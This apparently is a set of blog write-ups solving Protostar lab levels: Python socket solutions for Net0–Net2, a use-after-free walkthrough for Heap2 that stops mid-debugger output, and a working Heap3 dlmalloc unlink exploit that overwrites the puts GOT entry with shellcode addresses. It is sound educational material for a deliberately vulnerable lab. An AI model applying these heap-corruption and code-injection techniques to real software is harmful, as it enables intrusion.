Protostar: Net2

Time for the last network challenge. This is the same as the previous exercises, except 4 integers are now added up. As hinted to in the exercise description, the value can “wrap”. What this means is that if 4 integers that together are larger than the maximum value for a 32-bit integer are added together, the value will overflow.

Here are a few updates to the net1.py program used in the previous exercise:

#!/usr/bin/python

import socket
import struct

HOST = '127.0.0.1'
PORT = 2997 # Change Port

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(4) # Read data 4 times
data += s.recv(4)
data += s.recv(4)
data += s.recv(4)
print('Received %r' % data)

# data now has 4 records
values = struct.unpack("IIII", data)
print(values)
value = sum(values)

# pack the value as "I"nteger
payload = struct.pack("I", value)

s.send(payload)
data = s.recv(1024)
print('Received %r' % data)

s.close()

With these updates, let’s run the program:

user@protostar:/tmp$ python net2.py
Received 'J7\xb3+ae\x98+\xc7\x98\x7f6\xc0`\x9d{'
(733165386, 731407713, 914331847, 2073911488)
net2.py:23: DeprecationWarning: struct integer overflow masking is deprecated
  payload = struct.pack("I", value)
Received 'you added them correctly'

While we get a message that we completed the exercise, we also see a DeprecationWarning regarding an integer overflow. A straight forward way to ensure the value is limited to 4 bytes is simply to apply a mask with the bitwise AND operator &:

payload = struct.pack("I", value & 0xffffffff) # prevent overflow

With this change, we no longer get the warning:

user@protostar:/tmp$ python net2.py
Received '\x06\xcd\x85<\x1fO\x8bVS\xb4\xfb\x07~\xf4\x9fz'
(1015401734, 1451970335, 133936211, 2057303166)
Received 'you added them correctly'

Protosar: Net1

This exercise is essentially a reverse version of net0. Instead of supplying a string matching the expected integer, we should provide an integer value matching the string.

It is sufficient to make a few minor updates to the net0.py program to reverse the operation. Here is the updated net1.py with a few comments regarding updates:

net1.py

#!/usr/bin/python

import socket
import struct

HOST = '127.0.0.1'
PORT = 2998 # Change port

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(4) # 32-bit int -> 4 bytes
print('Received %r' % data)

# unpack returns a tuple, extract first item
value = struct.unpack("I", data)[0]
payload = str(value)

s.send(payload)
data = s.recv(1024)
print('Received %r' % data)

s.close()

Running net1.py:

user@protostar:/tmp$ python net1.py 
Received '\x9b"Fv'
Received 'you correctly sent the data'

I noted that sometimes when running this program it hangs, waiting for input. I did not spend more time on that, but it likely a timing issue. Running the program a few times should work.

Protostar: Net0 – Part II

In net0, a very simplistic approach to complete the exercise was described. Here, I will describe how to build a small Python program that can be reliably used to beat the challenge.

Program Structure

The program needs to be able to perform a set of basic operations:

  • Connect to 127.0.0.1 on port 2999
  • Extract the integer value requested
  • Construct and send a payload
  • Read the server response, to determine if the program was successful

Connection

The first part is to establish the connection to the server and read the data. Here’s a simple program /tmp/net0.py that accomplishes this:

#!/usr/bin/python

import socket

HOST = '127.0.0.1'
PORT = 2999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(4) # 32-bit int -> 4 bytes 
s.close()

print('Received %r' % data)
user@protostar:/opt/protostar/bin$ python /tmp/net0.py 
Received "Please send '1706207991' as a little endian 32bit int\n"

Extract the Value

First, a reliable way of extracting the integer from the string returned is needed. Here is a simple way of doing this, where [:-2] is used to remove the ’32’ from ’32bit’:

value = int(filter(str.isdigit, data)[:-2])

Create Payload

A straightforward way to send these values back is to use struct, which allows for packing strings into binary data.

import struct
...
payload = struct.pack("I", value)

Send Payload, Read Response

Next, the payload is sent to the server, and we print out the response:

s.send(payload)
data = s.recv(1024) 
print('Received %r' % data)

net0.py

Here is the completed net0.py:

#!/usr/bin/python

import socket
import struct

HOST = '127.0.0.1'
PORT = 2999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(4) # 32-bit int -> 4 bytes
print('Received %r' % data)

value = int(filter(str.isdigit, data)[:-2])
payload = struct.pack("I", value)

s.send(payload)
data = s.recv(1024)
print('Received %r' % data)

s.close()

… and a test run:

user@protostar:/opt/protostar/bin$ python /tmp/net0.py 
Received "Please send '1823899215' as a little endian 32bit int\n"
Received 'Thank you sir/madam'

Protostar: Net0

Now, on to something rather different when compared to previous levels. Here’s the program we are presented with:

#include "../common/common.c"

#define NAME "net0"
#define UID 999
#define GID 999
#define PORT 2999

void run()
{
  unsigned int i;
  unsigned int wanted;

  wanted = random();

  printf("Please send '%d' as a little endian 32bit int\n", wanted);

  if(fread(&i, sizeof(i), 1, stdin) == NULL) {
      errx(1, ":(\n");
  }

  if(i == wanted) {
      printf("Thank you sir/madam\n");
  } else {
      printf("I'm sorry, you sent %d instead\n", i);
  }
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *username;

  /* Run the process as a daemon */
  background_process(NAME, UID, GID); 

  /* Wait for socket activity and return */
  fd = serve_forever(PORT);

  /* Set the client socket to STDIN, STDOUT, and STDERR */
  set_io(fd);

  /* Don't do this :> */
  srandom(time(NULL));

  run();
}

The program is very straightforward:

  • A server is created to listen for incoming connections on port 2999
  • A seed for srandom is (poorly) set
  • The server reads input from the standard input and stores the value in variable i
  • i is compared against a “random” value

Our objective appears to be constructing input that matches the random number. Let’s try experimenting a little bit with the program:

user@protostar:/opt/protostar/bin$ nc 127.0.0.1 2999
Please send '2129360670' as a little endian 32bit int
AAAA
I'm sorry, you sent 1094795585 instead
user@protostar:/opt/protostar/bin$ nc 127.0.0.1 2999
Please send '153789121' as a little endian 32bit int
AAAB
I'm sorry, you sent 1111572801 instead
user@protostar:/opt/protostar/bin$ nc 127.0.0.1 2999
Please send '12191234' as a little endian 32bit int
AABB
I'm sorry, you sent 1111638337 instead
user@protostar:/opt/protostar/bin$ nc 127.0.0.1 2999
Please send '235076650' as a little endian 32bit int
AABC
I'm sorry, you sent 1128415553 instead

Let’s start by looking at what these values look like in binary format:

user@protostar:/opt/protostar/bin$ python -c "print format(640034798, '032b')"
01111110111010110111011100011110
user@protostar:/opt/protostar/bin$ python -c "print format(1094795585, '032b')"
01000001010000010100000101000001
user@protostar:/opt/protostar/bin$ python -c "print format(1111572801, '032b')"
01000010010000010100000101000001
user@protostar:/opt/protostar/bin$ python -c "print format(1111638337, '032b')"
01000010010000100100000101000001
user@protostar:/opt/protostar/bin$ python -c "print format(1128415553, '032b')"
01000011010000100100000101000001

Time for a quick comparison:

0111 1110  1110 1011  0111 0111  0001 1110
0100 0001  0100 0001  0100 0001  0100 0001 // AAAA
0100 0010  0100 0001  0100 0001  0100 0001 // AAAB
0100 0010  0100 0010  0100 0001  0100 0001 // AABB
0100 0011  0100 0010  0100 0001  0100 0001 // AABC

With each character change, we increment by one on the corresponding byte. This is because of the values the characters have in the ASCII table.

Let’s run the program again to generate a new challenge:

user@protostar:~$ nc 127.0.0.1 2999
Please send '1918449268' as a little endian 32bit int

In another terminal, we get the binary value of this integer:

user@protostar:~$ python -c "print format(1918449268, '032b')"
01110010010110010011011001110100

It is now easy to slice the integer into four pieces, and build a string backwards using the ASCII table for lookup.

01110010 01011001 00110110 01110100

Starting with 01110010, the chr function in python can be used to determine the character to use:

user@protostar:~$ python -c "print chr(0b01110010)"
r

This means the first character is r. This process can simply be repeated with the other parts:

user@protostar:~$ python -c "print chr(0b01011001)"
Y
user@protostar:~$ python -c "print chr(0b00110110)"
6
user@protostar:~$ python -c "print chr(0b01110100)"
t

That results in the reverse string t6Yr. Let’s try this in another terminal:

user@protostar:~$ nc 127.0.0.1 2999
Please send '994470697' as a little endian 32bit int
t6Yr
I'm sorry, you sent 1918449268 instead

Looks like we have a match. Back to our original terminal:

user@protostar:~$ nc 127.0.0.1 2999
Please send '1918449268' as a little endian 32bit int
t6Yr
Thank you sir/madam

And there you have it!

It should be noted that the technique outlined above requires that each of the four bytes correspond to a value between 0 and 127 (ASCII table map). In the next post we will look into a slightly more sophisticated approach which works regardless of the challenge generated.

Protostar: Heap3

Heap3 speaks to introducing the Doug Lea malloc (dlmalloc), but the malloc included with Protostar’s version of the GNU C Library (2.11.2) is based on that implementation so we have been using it all along. The author of the algorithm has written a very informative article on its design and the source code has been made available to the public. While slightly outdated, these are still useful sources of information.

This is going to be a somewhat lengthy post… Let’s start with the source code:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
{
  printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  char *a, *b, *c;

  a = malloc(32);
  b = malloc(32);
  c = malloc(32);

  strcpy(a, argv[1]);
  strcpy(b, argv[2]);
  strcpy(c, argv[3]);

  free(c);
  free(b);
  free(a);

  printf("dynamite failed?\n");
}

Reviewing the code provided, it is clear that the challenge is to modify program exeuction such that the winner function is called. At first glance, there appears to be no obvious way of achieving this. However, the following information provides a starting point:

  • we have complete control of input
  • we know that strcpy is vulnerable to overflows
  • we know the size of memory allocated (32) and the memory structures

Malloc and Chunks

Before we get started, let’s take a moment to revisit malloc and the ‘chunks’ it allocates on the heap. Here’s a simplified version of the malloc_chunk structure definition:

struct malloc_chunk {
  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;
};

malloc always allocates memory blocks in multiples of 8 bytes, which means that the last three bits of the size field can be used as flags:

  • 0x0000001: PREV_INUSE (P) – bit is set when the previous chunk is used
  • 0x0000010: IS_MMAPPED (M) – bit is set if the chunk is mmap‘d
  • 0x0000100: NON_MAIN_ARENA (A) – bit is set if the chunk belongs to a thread arena

For example, a size field set to 0x29 means:

  • the previous chunk is in use, as the PREV_INUSE flag is set
  • the size of the chunk is 40 bytes (0x28)

Program Execution

Let’s continue by looking into what the heap looks like under normal program execution, limiting our input to prevent triggering an overflow. To do this, we’ll create an input file and set a breakpoint before the first and last calls to free. We create a basic python script /tmp/heap3.py, which we will update with slightly more sophisticated input later:

#!/usr/bin/python

a = "A" * 32
b = "B" * 32
c = "C" * 32

print "%s %s %s" % (a, b, c)
user@protostar:/opt/protostar/bin$ gdb -q heap3
Reading symbols from /opt/protostar/bin/heap3...done.
(gdb) set disassembly-flavor intel 
(gdb) disassemble main 
Dump of assembler code for function main:
0x08048889 <main+0>:  push   ebp
...
0x08048905 <main+124>:    call   0x8048750 <strcpy@plt>
0x0804890a <main+129>:    mov    eax,DWORD PTR [esp+0x1c]
0x0804890e <main+133>:    mov    DWORD PTR [esp],eax
0x08048911 <main+136>:    call   0x8049824 <free>
...
End of assembler dump.
(gdb) break *0x08048911
Breakpoint 1 at 0x8048911: file heap3/heap3.c, line 24.
(gdb) break *0x0804892e
Breakpoint 2 at 0x804892e: file heap3/heap3.c, line 28.

Then run the program and take a look at the heap:

(gdb) run $(python /tmp/heap3.py)
Starting program: /opt/protostar/bin/heap3 $(python /tmp/heap3.py)

Breakpoint 1, 0x08048911 in main (argc=4, argv=0xbffff7e4) at heap3/heap3.c:24
24  heap3/heap3.c: No such file or directory.
    in heap3/heap3.c
(gdb) info proc map
process 2112
cmdline = '/opt/protostar/bin/heap3'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap3'
Mapped address spaces:

    Start Addr   End Addr       Size     Offset objfile
     0x8048000  0x804b000     0x3000          0        /opt/protostar/bin/heap3
     0x804b000  0x804c000     0x1000     0x3000        /opt/protostar/bin/heap3
     0x804c000  0x804d000     0x1000          0           [heap]
     ...
(gdb) x/32x 0x804c000
0x804c000:  0x00000000  0x00000029  0x41414141  0x41414141
0x804c010:  0x41414141  0x41414141  0x41414141  0x41414141
0x804c020:  0x41414141  0x41414141  0x00000000  0x00000029
0x804c030:  0x42424242  0x42424242  0x42424242  0x42424242
0x804c040:  0x42424242  0x42424242  0x42424242  0x42424242
0x804c050:  0x00000000  0x00000029  0x43434343  0x43434343
0x804c060:  0x43434343  0x43434343  0x43434343  0x43434343
0x804c070:  0x43434343  0x43434343  0x00000000  0x00000f89

As expected, we can see the A‘s (0x41), B‘s (0x42) and C‘s (0x43) neatly aligned on the heap. Unless any allocated memory is freed, memory is allocated sequentially on the heap in an orderly manner.

Next, we continue to examine the heap after the calls to free:

(gdb) c
Continuing.

Breakpoint 2, main (argc=4, argv=0xbffff7d4) at heap3/heap3.c:28
28  in heap3/heap3.c
(gdb) x/32x 0x804c000
0x804c000:  0x00000000  0x00000029  0x0804c028  0x41414141
0x804c010:  0x41414141  0x41414141  0x41414141  0x41414141
0x804c020:  0x41414141  0x41414141  0x00000000  0x00000029
0x804c030:  0x0804c050  0x42424242  0x42424242  0x42424242
0x804c040:  0x42424242  0x42424242  0x42424242  0x42424242
0x804c050:  0x00000000  0x00000029  0x00000000  0x43434343
0x804c060:  0x43434343  0x43434343  0x43434343  0x43434343
0x804c070:  0x43434343  0x43434343  0x00000000  0x00000f89

We can see that the forward pointers are updated as expected, as indicated by the coloured values. By carefully manipulating input to strcpy, we should be able to overwrite heap metadata for the next chunk. But how do we use that to our advantage? And why is the PREV_INUSE flag still set, even after calling free?

Fastbins

To understand why the PREV_INUSE flag is not unset, we need to briefly discuss the concept of fastbins. The version of malloc used here (dlmalloc) includes an optimization where calling free on chunks smaller than 80 bytes ignores the prev_size, bk and the PREV_INUSE flag. The maximum size for fastbins is defined as follows, and checked when calling free:

/* The maximum fastbin request size we support */
#define MAX_FAST_SIZE     (80 * SIZE_SZ / 4)

That means we’ll need a chunk of size greater than 80 to have these fields and flag updated. Later, we’ll see that this knowledge is needed for a successful exploit.

Understanding the free() Function

At this point, we need to understand some of the implementation details of free. When free is called, it will attempt to merge the current chunk with adjacent chunks (provided they are free) to form a larger chunk. At a high level, the free function performs the following when called:

  • Checks that the pointer is valid and of an expected size
  • Determines if the chunk is eligible to be placed in a fastbin
  • Performs a few checks to avoid a “double free”
  • Unlinks the chunk, by updating pointers on adjacent chunks, provided they are free
  • Places the chunk in a list of unsorted chunks

The unlink operation above involves writing to memory. First, the chunk needs to be marked as free. Secondly, its links to forwards (fd) and backwards (bk) chunks need to be updated. When the unlink operation is performed, the unlink macro referenced below (simplified) is called, with the following arguments:

  • P: The chunk to unlink
  • BK: Previous chunk, output
  • FD: Next chunk, output
/* Take a chunk off a bin list */
#define unlink(P, BK, FD) {
  FD = P->fd;
  BK = P->bk;
  FD->bk = BK;
  BK->fd = FD;
}

This operation will make the next available chunk (P-&gt;fd) and the previous chunk (P-&gt;bk) point to eachother. The following writes are performed:

  • The value of P-&gt;bk is written to memory at (P-&gt;fd)+12
    • 12 bytes offset due to fields size (4 bytes), prev_size (4 bytes) and fd (4 bytes)
  • The value of P-&gt;fd is written to memory at (P-&gt;bk)+8
    • 8 bytes offset due to fields size (4 bytes) and prev_size (4 bytes)

This means we can write arbitraty data to these addresses (provided they are writable). Here is a simple visualization of the process, with memory writes highlighted:

+-----------+          +-----------+          +-----------+
| Chunk BK  |          | Chunk P   |          | Chunk FD  |
+-----------+<--+  +-->+-----------+<--+  +-->+-----------+
| prev_size |   |  |   | prev_size |   |  |   | prev_size |
+-----------+   |  |   +-----------+   |  |   +-----------+
| size      |   |  |   | size      |   |  |   | size      |
+-----------+   |  |   +-----------+   |  |   +-----------+
| fd        +---|--+   | fd        +---|--+   | fd        |
+-----------+   |      +-----------+   |      +-----------+
| bk        |   +------+ bk        |   +------+ bk        |
+-----------+          +-----------+          +-----------+
| ...       |          | ...       |          | ...       |
+-----------+          +-----------+          +-----------+
| Chunk BK  |          | Chunk FD  |          | Chunk P   |
+-----------+<--+  +-->+-----------+          +-----------+
| prev_size |   |  |   | prev_size |          | prev_size |
+-----------+   |  |   +-----------+          +-----------+
| size      |   |  |   | size      |          | size      |
+-----------+   |  |   +-----------+          +-----------+
| fd        +---|--+   | fd        |          | fd        |
+-----------+   |      +-----------+          +-----------+
| bk        |   +------+ bk        |          | bk        |
+-----------+          +-----------+          +-----------+
| ...       |          | ...       |          | ...       |

Planning the Exploit

We can now start to plan the exploit.

Because we know of the structure of a chunk and can manipulate the input in any way we like, we can carefully manipulate the content of the chunks on the heap, allowing us to perform writes to memory. More specifically, this allows us to control the values of fd and bk, which we will set to specific values for the chunk allocated for b.

There’s a neat trick that can be used (refer to Vudo malloc tricks section 3.6.1.2), where overwriting the size field to 0xffffffc (-4) will cause dlmalloc to read the prev_size field of the second chunk instead of the size field of next contiguous chunk. Storing an even integer (last bit not set) in this prev_size field will cause dlmalloc to perform an unlink. We can leverage this to cause the free call on c to perform an unlink operation, with values we control.

  • prepare shellcode to call the winner function
  • inject said shellcode into the chunk allocated for buffer a
  • overflow b to manipulate the size of chunk c to be larger than 80 bytes
  • insert a fake chunk “d” after c with 0xfffffffc size fields
  • store the address of an appropriate function in the Global Offset Table in d-&gt;fd
  • store the address of our shellcode in d-&gt;bk

Identifying Target Addresses

In earlier exercises, we looked at how we can overwrite the Global Offset Table to manipulate the flow of code execution. Here, our objective is to call the winner function. In disassembling the main function, we also see that puts is used and will be called when we reach printf (refer to Heap1 for additional detials). Let’s find the appropriate addresses:

user@protostar:/opt/protostar/bin$ objdump -t /opt/protostar/bin/heap3 |grep winner
08048864 g     F .text  00000025              winner
user@protostar:/opt/protostar/bin$ objdump -R /opt/protostar/bin/heap3 |grep puts
0804b128 R_386_JUMP_SLOT   puts

We now have our target addresses:

  • winner: 0x08048864
  • puts: 0x0804b128

As noted above, an offset of +12 bytes is used for the write operation, so we need to subtract 12 bytes from the puts address, giving us 0x804b11c.

Preparing Shellcode

In order to call the winner function, we need to inject some code into the memory for execution. For this purpose, we need code that achieves the following:

  • Move the value 0x08048864 into the eax register
  • Call the eax register

This is pretty straight forward:

mov eax, 0x08048864
call eax

… and translates to the following hex string:

"\xb8\x64\x88\x04\x08\xff\xd0"

Exploit Time

Let’s update the python script to with the appropriate input:

#!/usr/bin/python

# Few NOP at the start
a = "\x90" * 12
# Followed by shellcode
a += "\xb8\x64\x88\x04\x08\xff\xd0"

# Overwrite the size of the next chunk to be >80 and have last bit set
# 36 bytes as length is 32 + 4 bytes for prev_size field
# \x55 -> 85 -> 0101 0101
b = "B" * 36 + "\x55"

# We fill C with 76 bytes of junk
# The total length should be 84 (85-1)
c = "C" * 76
# 0xfffffffc (-4) into the prev_size and size fields of a next chunk
c += "\xfc\xff\xff\xff" * 2
# 0x0804b11c: Address of puts in the GOT, with a 12 byte offset
c += "\x1c\xb1\x04\x08"
# 0x0804c008: Address of our shellcode, starting at the heap
# with 8 bytes offset
c += "\x08\xc0\x04\x08"

print "%s %s %s" % (a, b, c)

Back in gdb, we restart the program:

(gdb) run $(python /tmp/heap3.py)
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap3 $(python /tmp/heap3.py)

Breakpoint 1, 0x08048911 in main (argc=4, argv=0xbffff7a4) at heap3/heap3.c:24
24  in heap3/heap3.c
(gdb) x/48x 0x804c000
0x804c000:  0x00000000  0x00000029  0x90909090  0x90909090
0x804c010:  0x90909090  0x048864b8  0x00d0ff08  0x00000000
0x804c020:  0x00000000  0x00000000  0x00000000  0x00000029
0x804c030:  0x42424242  0x42424242  0x42424242  0x42424242
0x804c040:  0x42424242  0x42424242  0x42424242  0x42424242
0x804c050:  0x42424242  0x00000055  0x43434343  0x43434343
0x804c060:  0x43434343  0x43434343  0x43434343  0x43434343
0x804c070:  0x43434343  0x43434343  0x43434343  0x43434343
0x804c080:  0x43434343  0x43434343  0x43434343  0x43434343
0x804c090:  0x43434343  0x43434343  0x43434343  0x43434343
0x804c0a0:  0x43434343  0xfffffffc  0xfffffffc  0x0804b11c
0x804c0b0:  0x0804c008  0x00000000  0x00000000  0x00000000

We see that everything is neatly aligned on the heap as we had planned and continue with program execution:

(gdb) c
Continuing.

Breakpoint 2, main (argc=4, argv=0xbffff7b4) at heap3/heap3.c:28
28  in heap3/heap3.c
(gdb) c
Continuing.
that wasn't too bad now, was it? @ 1558219801

Program received signal SIGSEGV, Segmentation fault.
0x0804c01b in ?? ()

Neat! Let’s try outside gdb:

user@protostar:/opt/protostar/bin$ ./heap3 $(python /tmp/heap3.py)
that wasn't too bad now, was it? @ 1558219941
Segmentation fault

Finally!! This exercise took quite a bit of time and effort to get through, but it felt very rewarding once the exploit was working.

References

The following resources are very useful for understanding how to exploit the heap in this manner:

Protostar: Heap2

This level introduces the concept of “Use-after-Free”, where memory is incorrectly accessed after it has been marked as “free”.

There is also an intentional (?) bug in this code due poor variable naming (auth) which leads to less memory being allocated than required. More on that later.

Running the program, we can get a hint of how memory is being allocated and re-allocated on the heap, as the memory locations of the auth struct and service variable are displayed. Simply playing around a bit with the program causes the "you are logged in already!" message to be printed:

user@protostar:/opt/protostar/bin$ ./heap2
[ auth = (nil), service = (nil) ]
auth admin
[ auth = 0x804c008, service = (nil) ]
service admin
[ auth = 0x804c008, service = 0x804c018 ]
reset
[ auth = 0x804c008, service = 0x804c018 ]
login
please enter your password
[ auth = 0x804c008, service = 0x804c018 ]
service
[ auth = 0x804c008, service = 0x804c008 ]
login
please enter your password
[ auth = 0x804c008, service = 0x804c008 ]
service aaaaaaaaaaaaaa
[ auth = 0x804c008, service = 0x804c028 ]
login
you have logged in already!
[ auth = 0x804c008, service = 0x804c028 ]

Let’s take a closer look at the code to figure out what is going on:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {
  char name[32];
  int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv)
{
  char line[128];

  while(1) {
    printf(“[ auth = %p, service = %p ]\n”, auth, service);

    if(fgets(line, sizeof(line), stdin) == NULL) break;

    if(strncmp(line, “auth “, 5) == 0) {
      auth = malloc(sizeof(auth));
      memset(auth, 0, sizeof(auth));
      if(strlen(line + 5) < 31) {
        strcpy(auth->name, line + 5);
      }
    }
    if(strncmp(line, “reset”, 5) == 0) {
      free(auth);
    }
    if(strncmp(line, “service”, 6) == 0) {
      service = strdup(line + 7);
    }
    if(strncmp(line, “login”, 5) == 0) {
      if(auth->auth) {
        printf(“you have logged in already!\n”);
      } else {
        printf(“please enter your password\n”);
      }
    }
  }
}

From this, it is easy to see that we have to somehow make auth-&gt;name to have a non-zero value before entering the "login" command. However, there is no immediately obvious way of doing this. The following if-block prevents an overflow of the name member which has a length of 32:

if(strlen(line + 5) < 31) {
  strcpy(auth->name, line + 5);
}

An important detail to note here is that free does not reset the memory contents, but only marks the block of memory as free for allocation. As such, a memory area that contains information may be allocated for a subsequent malloc call. Knowing this, we can see that the “reset” command will free memory previously allocated for auth, but notably does not change the memory contents or reset the pointer:

if(strncmp(line, “reset”, 5) == 0) {
  free(auth);
}

The “service” command will call strdup. The man pages of strdup tell us that the memory for the duplicated string is allocated using malloc, which means it is on the heap:

The strdup() function returns a pointer to a new string which is a duplicate of the string s. Memory for the new string is obtained with malloc(3), and can be freed with free(3).

With the above information, we should be able to manipulate the value of auth simply by executing commands in the right sequence, which is what was seen when testing the program out.

Let’s try in gdb and look at what is happening on the heap. The program is started and the "auth" command is used once. We then use ctrl+C to stop program execution:

user@protostar:/opt/protostar/bin$ gdb -q ./heap2
Reading symbols from /opt/protostar/bin/heap2...done.
(gdb) r
Starting program: /opt/protostar/bin/heap2 
[ auth = (nil), service = (nil) ]
auth admin
[ auth = 0x804c008, service = (nil) ]
^C
Program received signal SIGINT, Interrupt.
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82  ../sysdeps/unix/syscall-template.S: No such file or directory.
    in ../sysdeps/unix/syscall-template.S
Current language:  auto
The current source language is "auto; currently asm".

At this point, the contents of the heap can be inspected, which should contain the auth struct:

(gdb) info proc map
...
Mapped address spaces:

    Start Addr   End Addr       Size     Offset objfile
     0x8048000  0x804b000     0x3000          0        /opt/protostar/bin/heap2
     0x804b000  0x804c000     0x1000     0x3000        /opt/protostar/bin/heap2
     0x804c000  0x804d000     0x1000          0           [heap]
...
(gdb) x/20x 0x804c000
0x804c000:  0x00000000  0x00000011  0x696d6461  0x00000a6e
0x804c010:  0x00000000  0x00000ff1  0x00000000  0x00000000
0x804c020:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c030:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c040:  0x00000000  0x00000000  0x00000000  0x00000000
(gdb) print auth
$1 = (struct auth *) 0x804c008)
(gdb) print *auth
$2 = {name = "admin\n\000\000\000\000\000\000\361\017", '\000' <repeats 17 times>, auth = 0}

Here, we can clearly see that the auth variable is set to 0. Interestingly enough, we also notice the chunk header indicates a size of 8:

  • The chunk size is set to 0x00000011
  • Removing the header size (8) leaves us with 9 bytes:
(gdb) p 0x00000011 - 0x00000008
$3 = 9
  • Chunks are always allocated in even memory blocks, with the last 3 bits used as flags:
    • 0x0000001: PREV_INUSE (P) – bit is set when the previous chunk is used
    • 0x0000010: IS_MMAPPED (M) – bit is set if the chunk is mmap‘d
    • 0x0000100: NON_MAIN_ARENA (A) – bit is set if the chunk belongs to a thread arena
  • Removing the P flag and the header, 8 bytes are left for user data:
(gdb) p 0x00000011 - 0x00000008 - 0x00000001
$4 = 8

The reason this is happening is because of the repeated use of auth in the source code. In the following code block, the auth referenced in the sizeof call is in fact the variable auth of type struct auth * declared on line 12 of the source code. Since that’s just a pointer, we end up with 8 bytes being allocated. The lesson here is to have some better imagination when naming variables.

if(strncmp(line, “auth “, 5) == 0) {
  auth = malloc(sizeof(auth));
  memset(auth, 0, sizeof(auth));
  if(strlen(line + 5) < 31) {
    strcpy(auth->name, line + 5);
  }
}

Now, back to gdb. In order to see what is happening on the heap, we want to set a break point before the printf statement at the top of the while loop. gdb can also be configured to automatically print out some information from the heap each time the breakpoint is hit using the command command.

(gdb) set disassembly-flavor intel 
(gdb) disassemble main
Dump of assembler code for function main:
0x08048934 <main+0>:  push   ebp
...
0x0804895f <main+43>: call   0x804881c <printf@plt>
...
0x080489f9 <main+197>:    mov    DWORD PTR [esp],eax
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) break *0x0804895f
Breakpoint 1 at 0x804895f: file heap2/heap2.c, line 20.
(gdb) command
Type commands for when breakpoint 1 is hit, one per line.
End with a line saying just "end".
>printf "#HEAP######################################################################\n"
>x/20x 0x804c000
>printf "#AUTH######################################################################\n"
>print *auth
>printf "#SERVICE###################################################################\n"
>print service
>printf "###########################################################################\n"
>continue
>end
(gdb)

Let’s run the program to test this out.

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
...
#HEAP######################################################################
0x804c000:  Cannot access memory at address 0x804c000
(gdb) c
Continuing.
[ auth = (nil), service = (nil) ]
auth admin

Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff834) at heap2/heap2.c:20
20  in heap2/heap2.c
#HEAP######################################################################
0x804c000:  0x00000000  0x00000011  0x696d6461  0x00000a6e
0x804c010:  0x00000000  0x00000ff1  0x00000000  0x00000000
0x804c020:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c030:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c040:  0x00000000  0x00000000  0x00000000  0x00000000
#AUTH######################################################################
$5 = {name = "admin\n\000\000\000\000\000\000\361\017", '\000' <repeats 17 times>, auth = 0}
#SERVICE###################################################################
$6 = 0x0
###########################################################################
[ auth = 0x804c008, service = (nil) ]

So far nothing new. We continue and use the "service" command and see that a chunk of memory is allocated at 0x0804c018:

[ auth = 0x804c008, service = (nil) ]
service admin

Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff834) at heap2/heap2.c:20
20  in heap2/heap2.c
#HEAP######################################################################
0x804c000:  0x00000000  0x00000011  0x696d6461  0x00000a6e
0x804c010:  0x00000000  0x00000011  0x6d646120  0x000a6e69
0x804c020:  0x00000000  0x00000fe1  0x00000000  0x00000000
0x804c030:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c040:  0x00000000  0x00000000  0x00000000  0x00000000
#AUTH######################################################################
$7 = {name = "admin\n\000\000\000\000\000\000\021\000\000\000 admin\n\000\000\000\000\000\341\017\000", auth = 0}
#SERVICE###################################################################
$8 = 0x804c018 " admin\n"
###########################################################################
[ auth = 0x804c008, service = 0x804c018 ]

Next, the "reset" command is used to free the memory initially allocated for the auth struct:

[ auth = 0x804c008, service = 0x804c018 ]
reset

Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff834) at heap2/heap2.c:20
20  in heap2/heap2.c
#HEAP######################################################################
0x804c000:  0x00000000  0x00000011  0x00000000  0x00000a6e
0x804c010:  0x00000000  0x00000011  0x6d646120  0x000a6e69
0x804c020:  0x00000000  0x00000fe1  0x00000000  0x00000000
0x804c030:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c040:  0x00000000  0x00000000  0x00000000  0x00000000
#AUTH######################################################################
$9 = {name = "\000\000\000\000n\n\000\000\000\000\000\000\021\000\000\000 admin\n\000\000\000\000\000\341\017\000", auth = 0}
#SERVICE###################################################################
$10 = 0x804c018 " admin\n"
###########################################################################
[ auth = 0x804c008, service = 0x804c018 ]

Next, we use the "service" command with service name of sufficient size. This time around, because of the way memory was reused, we are able to write a non-zero value to auth-&gt;auth, which is located at 0x0804c028:

[ auth = 0x804c008, service = 0x804c018 ]
service AAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff834) at heap2/heap2.c:20
20  in heap2/heap2.c
#HEAP######################################################################
0x804c000:  0x00000000  0x00000011  0x00000000  0x00000a6e
0x804c010:  0x00000000  0x00000011  0x6d646120  0x000a6e69
0x804c020:  0x00000000  0x00000021  0x41414120  0x41414141
0x804c030:  0x41414141  0x41414141  0x41414141  0x41414141
0x804c040:  0x000a4141  0x00000fc1  0x00000000  0x00000000
#AUTH######################################################################
